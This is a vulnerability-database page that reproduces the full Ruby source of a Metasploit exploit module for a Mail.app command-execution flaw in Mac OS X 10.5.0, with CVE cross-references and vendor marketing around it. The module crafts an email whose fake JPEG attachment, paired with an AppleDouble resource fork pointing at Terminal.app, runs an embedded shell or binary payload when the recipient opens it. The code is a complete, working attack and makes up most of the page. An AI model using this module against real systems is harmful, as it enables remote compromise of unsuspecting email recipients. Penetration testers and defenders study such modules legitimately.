Lucene search
K

Mail.app Image Attachment Command Execution

🗓️ 26 Nov 2007 22:29:07Reported by hdm <[email protected]>, kf <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

Mail.app Image Attachment Command Execution. This module exploits a command execution vulnerability in the Mail.app application shipped with Mac OS X 10.5.0. It was patched in 10.4 in March 2007, but reintroduced in the final release of 10.5

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-0395
5 Mar 201100:00
circl
Circl
CVE-2007-6165
5 Mar 201100:00
circl
CVE
CVE-2006-0395
5 Aug 200601:00
cve
CVE
CVE-2007-6165
29 Nov 200701:00
cve
Cvelist
CVE-2006-0395
5 Aug 200601:00
cvelist
Cvelist
CVE-2007-6165
29 Nov 200701:00
cvelist
exploitpack
Apple Mail.App 10.5.0 (OSX) - Image Attachment Command Execution (Metasploit)
1 Mar 200600:00
exploitpack
Tenable Nessus
Mac OS X Multiple Vulnerabilities (Security Update 2006-001)
2 Mar 200600:00
nessus
Tenable Nessus
Mac OS X Multiple Vulnerabilities (Security Update 2007-009)
18 Dec 200700:00
nessus
NVD
CVE-2006-0395
5 Aug 200601:04
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  #
  # This module sends email messages via smtp
  #
  include Msf::Exploit::Remote::SMTPDeliver
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mail.app Image Attachment Command Execution',
      'Description'    => %q{
          This module exploits a command execution vulnerability in the
        Mail.app application shipped with Mac OS X 10.5.0. This flaw was
        patched in 10.4 in March of 2007, but reintroduced into the final
        release of 10.5.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm', 'kf'],
      'References'     =>
        [
          ['CVE', '2006-0395'],
          ['CVE', '2007-6165'],
          ['OSVDB', '40875'],
          ['BID', '26510'],
          ['BID', '16907']
        ],
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Payload'        =>
        {
          'Space'       => 8192,
          'DisableNops' => true,
          'BadChars'    => "",
          'Compat'      =>
            {
              'ConnectionType' => '-bind -find',
            },
        },
      'Platform'       => %w{ unix osx },
      'Targets'        =>
        [
          [ 'Mail.app - Command Payloads',
            {
              'Platform'       => 'unix',
              'Arch'           => ARCH_CMD,
              'PayloadCompat' => {
                'RequiredCmd'    => 'generic perl ruby bash-tcp telnet',
              }
            }
          ],
          [ 'Mail.app - Binary Payloads (x86)',
            {
              'Platform'       => 'osx',
              'Arch'           => ARCH_X86,
            }
          ],
          [ 'Mail.app - Binary Payloads (ppc)',
            {
              'Platform'       => 'osx',
              'Arch'           => ARCH_PPC,
            }
          ],
        ],
      'DisclosureDate' => '2006-03-01'
      ))

  end

  def autofilter
    false
  end

  def exploit

    exts = ['jpg']

    gext = exts[rand(exts.length)]
    name = rand_text_alpha(5) + ".#{gext}"
    data = rand_text_alpha(rand(32)+1)

    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    msg.to = datastore['MAILTO']
    msg.from = datastore['MAILFROM']

    dbl = Rex::MIME::Message.new
    dbl.header.set("Content-Type", "multipart/appledouble;\r\n    boundary=#{dbl.bound}")
    dbl.header.set("Content-Disposition", "inline")

    # AppleDouble file version 2
    # 3 entries - 'Finder Info', 'Real name', 'Resource Fork'
    # Real Name matches msf random generated 5 character name - (I cheated ala gsub)

    resfork =
    "AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA\r\n" +
    "UQAABToAAAAAAAAAAAAASGVpc2UuanBnAAABAAAABQgAAAQIAAAAMgAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQA\r\n" +
    "AAAlL0FwcGxpY2F0aW9ucy9VdGlsaXRpZXMvVGVybWluYWwuYXBwAOzs7P/s7Oz/7Ozs/+zs7P/s\r\n" +
    "7Oz/7Ozs/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/5ubm/+bm5v/m5ub/5ubm/+bm\r\n" +
    "5v/m5ub/5ubm/+bm5v/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+zs7P/s7Oz/7Ozs\r\n" +
    "/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7//z8/P/\r\n" +
    "8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/2\r\n" +
    "9vb/+Pj4//j4+P/4+Pj/+Pj4//j4+P/4+Pj/+Pj4//j4+P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8\r\n" +
    "/P/8/Pz//Pz8////////////////////////////////////////////////////////////////\r\n" +
    "/////////////////////6gAAACoAAAAqAAAAKgAAACoAAAAqAAAAKgAAACoAAAAKgAAACoAAAAq\r\n" +
    "AAAAKgAAACoAAAAqAAAAKgAAACoAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +
    "AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8" + "\r\n"

    fork = Rex::Text.encode_base64( Rex::Text.decode_base64(resfork).gsub("Heise.jpg",name), "\r\n" )

    cid = "<#{rand_text_alpha(rand(16)+16)}@#{rand_text_alpha(rand(16)+1)}.com>"

    cmd = ''

    if (target.arch.include?(ARCH_CMD))
      cmd = Rex::Text.encode_base64(payload.encoded, "\r\n")
    else
      bin = generate_payload_exe
      cmd = Rex::Text.encode_base64(bin, "\r\n")
    end


    dbl.add_part(fork , "application/applefile;\r\n    name=\"#{name}\"", "base64", "inline;\r\n    filename=#{name}" )
    dbl.add_part(cmd , "image/jpeg;\r\n    x-mac-type=0;\r\n    x-unix-mode=0755;\r\n    x-mac-creator=0;\r\n    name=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\n    filename=#{name}" )

    msg.parts << dbl

    send_message(msg.to_s)

    print_status("Waiting for a payload session (backgrounding)...")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.3Low risk
Vulners AI Score0.3
CVSS 29.3
EPSS0.64008
21